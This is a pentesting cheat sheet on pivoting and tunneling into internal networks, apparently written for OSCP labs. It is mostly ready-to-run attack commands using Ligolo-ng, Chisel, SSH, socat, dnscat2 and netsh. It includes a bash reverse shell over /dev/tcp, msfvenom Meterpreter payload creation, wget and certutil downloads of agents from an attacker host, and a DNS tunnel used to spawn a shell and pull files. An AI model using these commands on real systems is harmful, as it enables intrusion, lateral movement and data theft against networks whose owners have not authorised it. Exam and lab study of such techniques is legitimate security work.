Pivoting and Tunneling Reference
Decision Tree
SSH available on pivot host?
YES → sshuttle (easiest, VPN-like)
NO ↓
Need full subnet access?
YES → Ligolo-ng (TUN interface, no proxychains)
NO ↓
Need one or two ports?
YES → Chisel reverse port forward
NO ↓
Need SOCKS proxy?
YES → Chisel reverse SOCKS
Ligolo-ng (Best for OSCP AD Pivoting)
Creates a TUN interface — use tools directly, no proxychains needed.
# === ATTACKER SETUP ===
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
~/Tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601
# === TRANSFER AGENT TO PIVOT HOST ===
./agent -connect ATTACKER:11601 -ignore-cert # Linux
agent.exe -connect ATTACKER:11601 -ignore-cert # Windows
# === CONFIGURE TUNNEL (in ligolo proxy console) ===
» session # select session
» ifconfig # find internal subnet
» start # activate tunnel
# On Kali (new terminal):
sudo ip route add 10.10.10.0/24 dev ligolo
# Now use tools DIRECTLY (no proxychains):
nmap -sT -Pn 10.10.10.0/24
evil-winrm -i 10.10.10.5 -u admin -p password
impacket-psexec 'DOMAIN/user:pass'@10.10.10.5
# Catch reverse shells from internal network:
» listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
Chisel (Lightweight Alternative)
Reverse SOCKS Proxy (most common)
# Attacker:
./chisel server -p 8080 --reverse
# Target:
.\chisel client $KALI:9001 R:socks
# Use:
proxychains -q nmap -sT -Pn <internal_ip>
Single Port Forward
# Target:
./chisel client ATTACKER:8080 R:3389:INTERNAL_HOST:3389
Multiple Port Forwards
# Target:
./chisel client ATTACKER:8080 R:3389:10.10.10.5:3389 R:5985:10.10.10.5:5985
Socat Port Forwarding (No SSH Required)
Socat is often pre-installed on Linux targets. Simpler than SSH for basic port forwards.
# Forward port on pivot to internal target
# Syntax: socat TCP-LISTEN:<local_port>,fork TCP:<internal_target>:<target_port>
# Example: forward pivot:2345 → internal_db:5432
socat -ddd TCP-LISTEN:2345,fork TCP:$TARGET:5432
# From Kali: psql -h PIVOT_IP -p 2345
# Example: forward pivot:2222 → internal_ssh:22
socat TCP-LISTEN:2222,fork TCP:$TARGET:22
# From Kali: ssh user@PIVOT_IP -p 2222
-ddd= verbose (useful for debugging).fork= handle multiple connections. Socat runs in foreground. Use&ornohupto background it.
SSH Tunneling (When SSH is Available)
# LOCAL port forward (Kali:localport → through pivot → internal:targetport)
ssh -N -L 8080:INTERNAL_IP:80 user@PIVOT
# Now on Kali: curl http://127.0.0.1:8080 → reaches INTERNAL_IP:80
# LOCAL port forward ON the pivot itself (opens a port on pivot → deeper host)
# Run this ON the pivot host after SSH'ing in:
ssh -N -L 0.0.0.0:4455:DEEPER_HOST:445 user@DEEPER_HOST
# 0.0.0.0 makes it listen on all interfaces so Kali can reach it
# From Kali: smbclient //PIVOT_IP:4455/share
# DYNAMIC SOCKS proxy (forward all traffic through pivot)
ssh -N -D 1080 user@PIVOT
# proxychains config: socks5 127.0.0.1 1080
# proxychains -q nmap -sT -Pn INTERNAL_IP
# REMOTE port forward (pivot → Kali — use when you can't SSH TO pivot from Kali)
# Run FROM the pivot:
ssh -N -R 127.0.0.1:2345:INTERNAL_IP:5432 kali@KALI_IP
# Now on Kali: psql -h 127.0.0.1 -p 2345
# REMOTE DYNAMIC SOCKS (reverse SOCKS — pivot initiates connection back to Kali)
# On Kali first: ssh into pivot, then:
ssh -N -R 1080 user@PIVOT
# On Kali: proxychains config: socks5 127.0.0.1 1080
# This creates a SOCKS proxy on Kali that routes through the pivot
# sshuttle (VPN-like — easiest if SSH available)
sshuttle -r user@PIVOT 10.10.10.0/24 -x PIVOT_IP
# ProxyJump (SSH through a jump host in one command)
ssh -J user@PIVOT user@INTERNAL_IP
SSH tunneling cheat sheet:
-L = Local forward (Kali listens, traffic goes OUT through pivot)
-R = Remote forward (Pivot sends traffic BACK to Kali)
-D = Dynamic SOCKS (Kali gets a SOCKS proxy through pivot)
-N = No shell (just the tunnel, no interactive session)
-f = Background (run tunnel in background)
Proxychains Configuration
# /etc/proxychains4.conf — use dynamic_chain
socks5 127.0.0.1 1080
IMPORTANT: Must use -sT (TCP connect) and -Pn (no ping) with nmap through proxychains:
proxychains -q nmap -sT -Pn -p 21,22,80,445,3389,5985 <internal_ip>
Double / Nested Pivoting (Attacker → Pivot1 → Pivot2 → Target)
Ligolo-ng Double Pivot (Recommended)
NETWORK LAYOUT:
Kali (10.10.14.x)
↓ agent connects back to Kali:11601
Pivot1 (10.10.14.x / 172.16.1.x) ← first tunnel (tun: ligolo)
↓ agent connects to Pivot1:11602 (forwarded to Kali:11601)
Pivot2 (172.16.1.x / 192.168.1.x) ← second tunnel (tun: ligolo2)
↓
Target (192.168.1.x)
Step 1 — First pivot (same as single pivot):
# On Kali: create TUN + start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On Pivot1: connect agent back to Kali
./agent -connect KALI_IP:11601 -ignore-cert
# In ligolo proxy console (on Kali):
» session # select Pivot1 session
» ifconfig # note Pivot1's internal IP (172.16.1.x)
» start # start tunnel on default 'ligolo' tun
# On Kali (new terminal): add route to first internal network
sudo ip route add $TARGET/24 dev ligolo
# VERIFY: you can now reach $TARGET/24 from Kali
nmap -sT -Pn -p 445 172.16.1.X
Step 2 — Transfer agent to Pivot2:
# On Kali: serve the agent binary (Linux or Windows version)
python3 -m http.server 80
# From Pivot2 (through the tunnel — Kali can now reach it):
# Linux:
wget http://KALI_IP/agent -O /tmp/agent && chmod +x /tmp/agent
# Windows:
certutil -urlcache -f http://KALI_IP/agent.exe C:\temp\agent.exe
# If Pivot2 can't reach Kali directly, upload agent TO Pivot1 first,
# then transfer from Pivot1 → Pivot2 via SMB/SCP/HTTP
Step 3 — Create listener so Pivot2’s agent can reach Kali’s proxy:
# IMPORTANT: Pivot2 can't reach Kali directly (different network).
# So we add a listener on Pivot1 that forwards to Kali's proxy.
# In ligolo proxy console — select the PIVOT1 session first:
» session # pick Pivot1
» listener_add --addr 0.0.0.0:11602 --to 0.0.0.0:11601 --tcp
# This means: anything hitting Pivot1:11602 gets forwarded to Kali:11601
Step 4 — Connect Pivot2 agent + create second tunnel:
# On Pivot2: connect agent to Pivot1 (which forwards to Kali's proxy)
./agent -connect 172.16.1.PIVOT1:11602 -ignore-cert
# The agent connects to Pivot1:11602 → forwarded to Kali:11601 → proxy sees new session
# On Kali: create SECOND tun interface
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up
# In ligolo proxy console:
» session # you'll see TWO sessions now — pick the NEW one (Pivot2)
» ifconfig # note Pivot2's deeper internal IP (192.168.1.x)
» start --tun ligolo2 # start on the SECOND tun interface
# On Kali (new terminal): add route to second internal network
sudo ip route add 192.168.1.0/24 dev ligolo2
# VERIFY: you can now reach 192.168.1.0/24 from Kali
nmap -sT -Pn -p 445 192.168.1.X
Now from Kali you can reach BOTH internal networks directly:
# First network (through ligolo tun):
nmap -sT -Pn $TARGET/24
# Second network (through ligolo2 tun):
nmap -sT -Pn 192.168.1.0/24
evil-winrm -i 192.168.1.5 -u admin -p password
Catching Reverse Shells Through Double Pivot
When Target (192.168.1.x) sends a reverse shell, it can only reach Pivot2. You need to chain listeners back to Kali.
# Step 1: In ligolo console — select the PIVOT2 session
» session # pick Pivot2
» listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# This means: Target connects to Pivot2:4444 → forwarded to Kali:4444
# Step 2: On Kali — start your listener
nc -lvnp 4444
# Step 3: On Target — reverse shell points to PIVOT2's IP on the shared network
bash -c 'bash -i >& /dev/tcp/192.168.1.PIVOT2/4444 0>&1'
# Flow: Target → Pivot2:4444 → listener_add → Kali:4444 → shell!
Chisel Double Pivot (Alternative — Use If Ligolo Breaks)
# Hop 1: Pivot1 → Kali
# On Kali:
chisel server -p 8080 --reverse
# On Pivot1:
./chisel client KALI_IP:8080 R:socks
# Now Kali has SOCKS on 127.0.0.1:1080 into $TARGET/24
# Hop 2: Pivot2 → Pivot1
# On Pivot1 — start a second chisel server:
./chisel server -p 9090 --reverse
# On Pivot2:
./chisel client 172.16.1.PIVOT1:9090 R:1081:socks
# Now Pivot1 has SOCKS on 127.0.0.1:1081 into 192.168.1.0/24
# But we need this on KALI — so forward port 1081 through hop 1:
# On Pivot1:
./chisel client KALI_IP:8080 R:1081:127.0.0.1:1081
# On Kali — chain both SOCKS in /etc/proxychains4.conf:
# dynamic_chain (NOT strict_chain — strict fails if one hop drops)
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
# Use proxychains for all tools into the deep network:
proxychains -q nmap -sT -Pn -p 445,5985 192.168.1.0/24
proxychains -q evil-winrm -i 192.168.1.5 -u admin -p password
Ligolo-ng is strongly preferred — no proxychains needed, tools work natively, less fragile. Use Chisel only if Ligolo breaks.
HTTP Tunneling (When DPI Blocks SSH/Raw TCP)
Use when: Deep Packet Inspection blocks everything except HTTP/HTTPS traffic. Chisel wraps traffic in HTTP + encrypts with SSH internally.
Chisel HTTP Tunnel (Through DPI)
# On Kali — start Chisel server
./chisel server -p 8080 --reverse
# On compromised host — connect back over HTTP
./chisel client KALI_IP:8080 R:socks
# Now use proxychains for internal network access
proxychains -q nmap -sT -Pn -p 445,5985 INTERNAL_IP
proxychains -q evil-winrm -i INTERNAL_IP -u user -p pass
Why this works through DPI: Chisel encapsulates all traffic inside HTTP requests. DPI sees normal HTTP traffic. The SSH encryption inside prevents content inspection.
Single port forward through HTTP:
# Forward specific internal port to Kali
./chisel client KALI_IP:8080 R:5985:INTERNAL_IP:5985
# Now on Kali: evil-winrm -i 127.0.0.1 -u user -p pass
Meterpreter Pivoting (When You Already Have Meterpreter)
Alternative to Ligolo/Chisel when you already have a Meterpreter session. Uses autoroute + SOCKS proxy.
# Step 1: Create staged Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o met.exe
# Step 2: Start handler
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 443
run
# Step 3: Upload and execute met.exe on pivot host → session opens
# Step 4: Add route to internal network through the session
use multi/manage/autoroute
set session 1
run
# Autoroute discovers internal subnets and adds routes automatically
# Step 5: Start SOCKS proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j
Now use proxychains (set socks5 127.0.0.1 1080 in /etc/proxychains4.conf):
proxychains -q nmap -sT -Pn -p 445,3389,5985 INTERNAL_SUBNET/24
proxychains -q evil-winrm -i INTERNAL_IP -u USER -p PASS
proxychains -q impacket-psexec 'DOMAIN/USER:PASS'@INTERNAL_IP
Meterpreter port forward (single port, no SOCKS):
meterpreter> portfwd add -l 4455 -p 445 -r INTERNAL_IP
# Now on Kali: smbclient //127.0.0.1:4455/share
DNS Tunneling (When Only DNS Traffic Is Allowed)
Use when: Target can only make DNS queries (port 53). Very slow but works when nothing else does. Tool: dnscat2
Setup
# On Kali — start DNS server
sudo dnscat2-server <your_domain>
# Or without a domain (direct IP mode):
sudo dnscat2-server --dns host=0.0.0.0,port=53
# On target — connect via DNS
./dnscat --dns server=KALI_IP
# Windows: dnscat2-v0.07-client-win32.exe --dns server=KALI_IP
Using dnscat2 Session
dnscat2> windows # list active sessions
dnscat2> window -i 1 # interact with session
command (client01)> shell # spawn a shell
command (client01)> download C:\Users\admin\Desktop\proof.txt
Port Forwarding Through DNS Tunnel
command (client01)> listen 127.0.0.1:4444 INTERNAL_IP:445
# Now Kali can access INTERNAL_IP:445 via 127.0.0.1:4444
DNS tunneling is extremely slow. Only use as last resort when HTTP tunneling also fails.
Windows Port Forwarding (No External Tools)
Use when: You can’t upload Ligolo/Chisel to the target.
netsh (built-in Windows)
# Forward local port to internal target
netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=INTERNAL_IP
# Verify
netsh interface portproxy show all
# Remove when done
netsh interface portproxy delete v4tov4 listenport=4455 listenaddress=0.0.0.0
⚠️ You almost always need a firewall rule too — portproxy alone is useless if the Windows Firewall blocks inbound connections:
# Poke a hole in the firewall for the forwarded port
netsh advfirewall firewall add rule name="port_fwd_4455" protocol=TCP dir=in localport=4455 action=allow
# CLEAN UP when done (don't leave holes open)
netsh advfirewall firewall delete rule name="port_fwd_4455"
Now from Kali:
smbclient //PIVOT_IP:4455/share
ssh.exe (built-in on Windows 10 1803+ / Server 2019+)
:: Check if available
where ssh
:: Typically at C:\Windows\System32\OpenSSH\ssh.exe
:: Remote dynamic SOCKS (same syntax as Linux SSH)
ssh -N -R 9998 kali@KALI_IP
:: Now on Kali: proxychains with socks5 127.0.0.1 9998
:: Remote port forward
ssh -N -R 127.0.0.1:4455:INTERNAL_IP:445 kali@KALI_IP
ssh.exe supports ALL OpenSSH features including remote dynamic. Prefer it over plink when available.
plink.exe (PuTTY CLI — fallback when ssh.exe is missing)
# Remote port forward (target → Kali)
plink.exe -ssh -l kali -pw kalipass -R 127.0.0.1:9833:127.0.0.1:3389 KALI_IP
⚠️ Plink does NOT support remote dynamic port forwarding (-R socks). For SOCKS, use ssh.exe or Chisel instead.
plink.exe location on Kali:
/usr/share/windows-resources/binaries/plink.exe